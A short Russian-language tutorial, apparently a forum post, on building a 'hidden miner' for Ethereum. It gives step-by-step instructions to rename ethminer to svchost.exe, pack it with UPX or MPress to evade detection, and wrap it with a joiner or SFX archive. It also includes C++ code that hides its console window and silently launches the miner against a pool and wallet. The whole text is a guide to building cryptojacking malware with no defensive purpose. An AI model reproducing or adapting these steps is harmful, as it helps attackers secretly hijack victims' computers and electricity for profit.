Пишем свой скрытый майнер

Пишем свой скрытый майнер


В данной статье я опишу как собрать самый элементарный скрытый майнер. Наш майнер будет добывать эфир, но если у вас есть знания в области программирования, то вы можете переделать его под любую другую криптовалюту.


  1. Для начала скачайте последнюю версию билда http://hiderefer.me/?https://github.com/Genoil/cpp-ethereum/tree/master/releases.
  2. Распаковываем архив в любую удобную папку, докидываем туда msvcp120.dll (находится по пути C:\Windows\System32, если нет, то скачайте из сети).
  3. Переименовываем "ethminer.exe" на "svchost.exe" или любое другое имя, но не используйте слово "miner".
  4. Сжимаем наш файл при помощи Upx или MPress. Их вы можете найти в сети.
  5. Создаем кошелек эфира и ищем подходящий для нас пул.
  6. Теперь открываем Visual Studio, создаем пустой консольный проект C++ и пишем данный код:
#include <iostream>
#include <windows.h>
using namespace std;

int main()
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    system("svchost.exe --farm-recheck 200 -F ТУТ ВАШ ПУЛ:8888 -O ТУТ ВАШ КОШЕЛЁК ЭФИРА.NAME -X");
    return 0;
}



Теперь осталось скомпилировать наш код. После этого уже скомпилированный файл соединить с билдом и dll с первого пункта. Соединить можно при помощи sfx архива или джоинера.